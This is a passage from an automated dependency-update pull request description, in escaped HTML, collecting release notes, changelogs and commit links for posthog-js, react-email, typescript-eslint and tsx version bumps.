href=\"https://github.com/PostHog/posthog-js/commit/7c339bed0655c3e00b1860ba2da9f41c4f9013e1\"\u003e\u003ccode\u003e7c339be\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/turnipdabeets\"\u003e\u003ccode\u003e@​turnipdabeets\u003c/code\u003e\u003c/a\u003e! - Encode uncompressed \u003ccode\u003esendBeacon\u003c/code\u003e bodies as base64 form data so the beacon keeps a CORS-simple content type. Previously an uncompressed unload beacon was sent as \u003ccode\u003eapplication/json\u003c/code\u003e, which forces a CORS preflight — a preflight cannot complete while the page unloads, so on cross-origin hosts the browser silently dropped the POST and the final batch of events was lost. Compression is inactive whenever the remote config request fails (flaky network, blocked endpoint), when the config response omits \u003ccode\u003esupportedCompression\u003c/code\u003e, or with \u003ccode\u003edisable_compression: true\u003c/code\u003e.\n(2026-07-13)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eposthog-js@1.399.3\u003c/h2\u003e\n\u003ch2\u003e1.399.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/pull/4133\"\u003e#4133\u003c/a\u003e \u003ca href=\"https://github.com/PostHog/posthog-js/commit/4ebb61837adaed8960abbe3f8e0e28781e6bf905\"\u003e\u003ccode\u003e4ebb618\u003c/code\u003e\u003c/a\u003e Thanks \u003ca href=\"https://github.com/mikenicholls88\"\u003e\u003ccode\u003e@​mikenicholls88\u003c/code\u003e\u003c/a\u003e! - Make \u003ccode\u003ejsonStringify\u003c/code\u003e circular-safe so event serialization never throws. Previously a captured property holding a circular value — most commonly a DOM node that retains a React fiber pointing back at the element — made \u003ccode\u003eJSON.stringify\u003c/code\u003e throw \u003ccode\u003eConverting circular structure to JSON\u003c/code\u003e; with \u003ccode\u003ecapture_exceptions\u003c/code\u003e enabled that throw was recaptured as a new \u003ccode\u003e$exception\u003c/code\u003e, at times in a loop. On a throw we now fall back to \u003ccode\u003esafeJsonStringify\u003c/code\u003e from \u003ccode\u003e@posthog/core\u003c/code\u003e. The fast (non-circular) path is unchanged, and only true cycles become \u003ccode\u003e\u0026quot;[Circular]\u0026quot;\u003c/code\u003e, so shared-but-acyclic references keep their real values.\n(2026-07-13)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/8cec061702e02c05f6d0c0863bb6bbd3a900995c\"\u003e\u003ccode\u003e8cec061\u003c/code\u003e\u003c/a\u003e chore: update versions and lockfile [version bump]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/17d956c6639e83396aa19a5974d7550b46928c68\"\u003e\u003ccode\u003e17d956c\u003c/code\u003e\u003c/a\u003e fix(browser): log benign network-level fetch failures at warn, not error (\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/issues/4141\"\u003e#4141\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/ab100642da425590b9dcb78a9e8573eeeb29f52a\"\u003e\u003ccode\u003eab10064\u003c/code\u003e\u003c/a\u003e fix(autocapture): bound DOM ancestor walks and fail closed on abnormal trees ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/bc0e563784bb6e33b4df45a1d13b0e6f239f3728\"\u003e\u003ccode\u003ebc0e563\u003c/code\u003e\u003c/a\u003e chore: update versions and lockfile [version bump]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/7c339bed0655c3e00b1860ba2da9f41c4f9013e1\"\u003e\u003ccode\u003e7c339be\u003c/code\u003e\u003c/a\u003e fix(browser): keep sendBeacon content type CORS-simple when uncompressed (\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/issues/4139\"\u003e#4139\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/e1d108e24aef78d9a1cec7c5a8d80d2e718f1e5d\"\u003e\u003ccode\u003ee1d108e\u003c/code\u003e\u003c/a\u003e chore: update versions and lockfile [version bump]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/4ebb61837adaed8960abbe3f8e0e28781e6bf905\"\u003e\u003ccode\u003e4ebb618\u003c/code\u003e\u003c/a\u003e fix(web): make jsonStringify circular-safe so event serialization never throw...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/a30454e3c396a11dee3621db4240184f16efe4be\"\u003e\u003ccode\u003ea30454e\u003c/code\u003e\u003c/a\u003e chore: update versions and lockfile [version bump]\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/9bfaa8fce1358c04e05ee42283afe47408aadc96\"\u003e\u003ccode\u003e9bfaa8f\u003c/code\u003e\u003c/a\u003e feat(react-native): enable native error tracking on macOS (\u003ca href=\"https://redirect.github.com/PostHog/posthog-js/issues/4111\"\u003e#4111\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/PostHog/posthog-js/commit/d7f7c8e84695cade8d2a3e4604c6adf6801e4b92\"\u003e\u003ccode\u003ed7f7c8e\u003c/code\u003e\u003c/a\u003e chore: update versions and lockfile [version bump]\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/PostHog/posthog-js/compare/posthog-js@1.399.2...posthog-js@1.399.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-email` from 6.7.0 to 6.8.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/resend/react-email/releases\"\u003ereact-email's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ereact-email@6.8.1\u003c/h2\u003e\n\u003cp\u003eNo release notes provided.\u003c/p\u003e\n\u003ch2\u003ereact-email@6.8.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e9605c04: Add a Props tab to the preview toolbar for live-editing the props a template is rendered with. Edits re-render the preview without changing the template's \u003ccode\u003ePreviewProps\u003c/code\u003e, invalid JSON is flagged inline, and a reset restores the template defaults.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ed7743bc: Ship per-module build output with \u003ccode\u003esideEffects: false\u003c/code\u003e so bundlers can tree-shake unused components. Importing a component no longer pulls prismjs, marked, and tailwindcss into the bundle unless \u003ccode\u003eCodeBlock\u003c/code\u003e, \u003ccode\u003eMarkdown\u003c/code\u003e, or \u003ccode\u003eTailwind\u003c/code\u003e is actually used.\u003c/li\u003e\n\u003cli\u003e7b32bf6: Fixed toolbar tabs not responding on statically built previews when the page was opened with a \u003ccode\u003etoolbar-panel\u003c/code\u003e query param in the URL.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/resend/react-email/blob/canary/packages/react-email/CHANGELOG.md\"\u003ereact-email's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e6.8.1\u003c/h2\u003e\n\u003ch2\u003e6.8.0\u003c/h2\u003e\n\u003ch3\u003eMinor Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e9605c04: Add a Props tab to the preview toolbar for live-editing the props a template is rendered with. Edits re-render the preview without changing the template's \u003ccode\u003ePreviewProps\u003c/code\u003e, invalid JSON is flagged inline, and a reset restores the template defaults.\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003ed7743bc: Ship per-module build output with \u003ccode\u003esideEffects: false\u003c/code\u003e so bundlers can tree-shake unused components. Importing a component no longer pulls prismjs, marked, and tailwindcss into the bundle unless \u003ccode\u003eCodeBlock\u003c/code\u003e, \u003ccode\u003eMarkdown\u003c/code\u003e, or \u003ccode\u003eTailwind\u003c/code\u003e is actually used.\u003c/li\u003e\n\u003cli\u003e7b32bf6: Fixed toolbar tabs not responding on statically built previews when the page was opened with a \u003ccode\u003etoolbar-panel\u003c/code\u003e query param in the URL.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/resend/react-email/commit/3966136fbb3d9b2c683fefddc5a495e3c94b05dc\"\u003e\u003ccode\u003e3966136\u003c/code\u003e\u003c/a\u003e chore(root): version packages (\u003ca href=\"https://github.com/resend/react-email/tree/HEAD/packages/react-email/issues/3651\"\u003e#3651\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/resend/react-email/commit/465b63561f4fa7c006e26e8fccc295d7d64a82bf\"\u003e\u003ccode\u003e465b635\u003c/code\u003e\u003c/a\u003e chore(root): version packages (\u003ca href=\"https://github.com/resend/react-email/tree/HEAD/packages/react-email/issues/3642\"\u003e#3642\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/resend/react-email/commit/d7743bc4eb2deaf6ea0ac0486edf683c26b0cc55\"\u003e\u003ccode\u003ed7743bc\u003c/code\u003e\u003c/a\u003e fix(react-email): ship per-module output so bundlers can tree-shake unused co...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/resend/react-email/commit/afa94da6bbdbb4ecc44cb4fa70779227d30f32e4\"\u003e\u003ccode\u003eafa94da\u003c/code\u003e\u003c/a\u003e fix(deps): update dependency jiti to v2.6.1 (\u003ca href=\"https://github.com/resend/react-email/tree/HEAD/packages/react-email/issues/3398\"\u003e#3398\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/resend/react-email/commits/react-email@6.8.1/packages/react-email\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/eslint-plugin` from 8.63.0 to 8.64.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/eslint-plugin's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.64.0\u003c/h2\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport parsing \u003ccode\u003eimport defer\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12513\"\u003e#12513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/eslint-plugin/CHANGELOG.md\"\u003e@​typescript-eslint/eslint-plugin's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/414d9abbf66f77796ab12ec7e75b07722e592832\"\u003e\u003ccode\u003e414d9ab\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.64.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/bcfe16fd2c4cbb12227168475172b46cd5788543\"\u003e\u003ccode\u003ebcfe16f\u003c/code\u003e\u003c/a\u003e feat(eslint-plugin): [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarati...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/5b5bfdeb8fd6b351c4366fb09d46ae35ec6eeea7\"\u003e\u003ccode\u003e5b5bfde\u003c/code\u003e\u003c/a\u003e fix(eslint-plugin): [require-array-sort-compare] handle constrained arrays (#...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/321856cdadeb369ce89c90327822399b1447e5f9\"\u003e\u003ccode\u003e321856c\u003c/code\u003e\u003c/a\u003e chore: cleanup cspell config (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12526\"\u003e#12526\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/b418cf577f66e65ea1ddd02619fda3a5de9cb9e6\"\u003e\u003ccode\u003eb418cf5\u003c/code\u003e\u003c/a\u003e feat(typescript-estree): throw for invalid definite assignment in class prope...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/737de2b569c29327d2e19a81ebd95236bd854335\"\u003e\u003ccode\u003e737de2b\u003c/code\u003e\u003c/a\u003e docs: align unified-signatures correct example parameter (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12506\"\u003e#12506\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/a63c17ab747b1f539c51ca066c0409a901677004\"\u003e\u003ccode\u003ea63c17a\u003c/code\u003e\u003c/a\u003e docs: fix shadowed parameter name in unified-signatures example (\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/tree/HEAD/packages/eslint-plugin/issues/12502\"\u003e#12502\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.64.0/packages/eslint-plugin\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `@typescript-eslint/parser` from 8.63.0 to 8.64.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003e@​typescript-eslint/parser's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.64.0\u003c/h2\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport parsing \u003ccode\u003eimport defer\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12513\"\u003e#12513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12500\"\u003e#12500\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003etypescript-estree:\u003c/strong\u003e throw for invalid definite assignment in class properties (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12543\"\u003e#12543\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e🩹 Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [require-array-sort-compare] handle constrained arrays (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12512\"\u003e#12512\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003e❤️ Thank You\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eEvyatar Daud \u003ca href=\"https://github.com/StyleShit\"\u003e\u003ccode\u003e@​StyleShit\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003cli\u003e송재욱\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/blob/main/packages/parser/CHANGELOG.md\"\u003e@​typescript-eslint/parser's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003cp\u003eThis was a version bump only for parser to align it with other projects, there were no code changes.\u003c/p\u003e\n\u003cp\u003eSee \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases/tag/v8.64.0\"\u003eGitHub Releases\u003c/a\u003e for more information.\u003c/p\u003e\n\u003cp\u003eYou can read about our \u003ca href=\"https://typescript-eslint.io/users/versioning\"\u003eversioning strategy\u003c/a\u003e and \u003ca href=\"https://typescript-eslint.io/users/releases\"\u003ereleases\u003c/a\u003e on our website.\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commit/414d9abbf66f77796ab12ec7e75b07722e592832\"\u003e\u003ccode\u003e414d9ab\u003c/code\u003e\u003c/a\u003e chore(release): publish 8.64.0\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/commits/v8.64.0/packages/parser\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `tsx` from 4.23.0 to 4.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/privatenumber/tsx/releases\"\u003etsx's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev4.23.1\u003c/h2\u003e\n\u003ch2\u003e\u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.0...v4.23.1\"\u003e4.23.1\u003c/a\u003e (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport tsImport after global preload (\u003ca href=\"https://github.com/privatenumber/tsx/commit/8d4ffc24f37b396ca2fe3f251aa92c4919f2c1a4\"\u003e8d4ffc2\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatch:\u003c/strong\u003e avoid clearing piped output (\u003ca href=\"https://github.com/privatenumber/tsx/commit/95d0672e0247a829ae4469daa493212967ea768e\"\u003e95d0672\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003ewatch:\u003c/strong\u003e treat script and dependency paths literally (\u003ca href=\"https://github.com/privatenumber/tsx/commit/79fddde523d3bb7d0af66682ce1265f95113a073\"\u003e79fddde\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance Improvements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eindex transform cache lazily (\u003ca href=\"https://github.com/privatenumber/tsx/commit/e818ad608159a6fb36fb8a0bd59327fec313323d\"\u003ee818ad6\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eload esbuild lazily in CLI (\u003ca href=\"https://github.com/privatenumber/tsx/commit/d0679381b60a55a9b5863603a4022a81db5d13c8\"\u003ed067938\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003emap Node TypeScript formats directly (\u003ca href=\"https://github.com/privatenumber/tsx/commit/cdcc6232a3277fb3028b226958b66c49a6d86c17\"\u003ecdcc623\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003euse sync module hooks on Node v22.22.3+ (\u003ca href=\"https://github.com/privatenumber/tsx/commit/f8992f1a50213e11b7ef8ab5121c78e0d2f29384\"\u003ef8992f1\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003chr /\u003e\n\u003cp\u003eThis release is also available on:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://www.npmjs.com/package/tsx/v/4.23.1\"\u003e\u003ccode\u003enpm package (@​latest dist-tag)\u003c/code\u003e\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/79fddde523d3bb7d0af66682ce1265f95113a073\"\u003e\u003ccode\u003e79fddde\u003c/code\u003e\u003c/a\u003e fix(watch): treat script and dependency paths literally\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/e818ad608159a6fb36fb8a0bd59327fec313323d\"\u003e\u003ccode\u003ee818ad6\u003c/code\u003e\u003c/a\u003e perf: index transform cache lazily\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/cdcc6232a3277fb3028b226958b66c49a6d86c17\"\u003e\u003ccode\u003ecdcc623\u003c/code\u003e\u003c/a\u003e perf: map Node TypeScript formats directly\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/d0679381b60a55a9b5863603a4022a81db5d13c8\"\u003e\u003ccode\u003ed067938\u003c/code\u003e\u003c/a\u003e perf: load esbuild lazily in CLI\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/95d0672e0247a829ae4469daa493212967ea768e\"\u003e\u003ccode\u003e95d0672\u003c/code\u003e\u003c/a\u003e fix(watch): avoid clearing piped output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/6fd4607e8a99d1efe27f185f749c659138f00ece\"\u003e\u003ccode\u003e6fd4607\u003c/code\u003e\u003c/a\u003e docs: add per-page metadata\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f4176d8c6329a12205ed9b8c582e559cafc45018\"\u003e\u003ccode\u003ef4176d8\u003c/code\u003e\u003c/a\u003e docs: generate sitemap\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/8d4ffc24f37b396ca2fe3f251aa92c4919f2c1a4\"\u003e\u003ccode\u003e8d4ffc2\u003c/code\u003e\u003c/a\u003e fix: support tsImport after global preload\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f0e89b244c98849dc5f9483fa33aaaf983ede18f\"\u003e\u003ccode\u003ef0e89b2\u003c/code\u003e\u003c/a\u003e docs: document Node's public type-stripping API vs internal loader path\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/privatenumber/tsx/commit/f8992f1a50213e11b7ef8ab5121c78e0d2f29384\"\u003e\u003ccode\u003ef8992f1\u003c/code\u003e\u003c/a\u003e perf: use sync module hooks on Node v22.22.3+\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/privatenumber/tsx/compare/v4.23.0...v4.23.1\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `typescript-eslint` from 8.63.0 to 8.64.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/typescript-eslint/typescript-eslint/releases\"\u003etypescript-eslint's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev8.64.0\u003c/h2\u003e\n\u003ch2\u003e8.64.0 (2026-07-13)\u003c/h2\u003e\n\u003ch3\u003e🚀 Features\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003esupport parsing \u003ccode\u003eimport defer\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/typescript-eslint/typescript-eslint/pull/12513\"\u003e#12513\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003eeslint-plugin:\u003c/strong\u003e [no-loop-func] support \u003ccode\u003eusing\u003c/code\u003e / \u003ccode\u003eawait using\u003c/code\u003e declarations and deprecate the rule (\u003ca 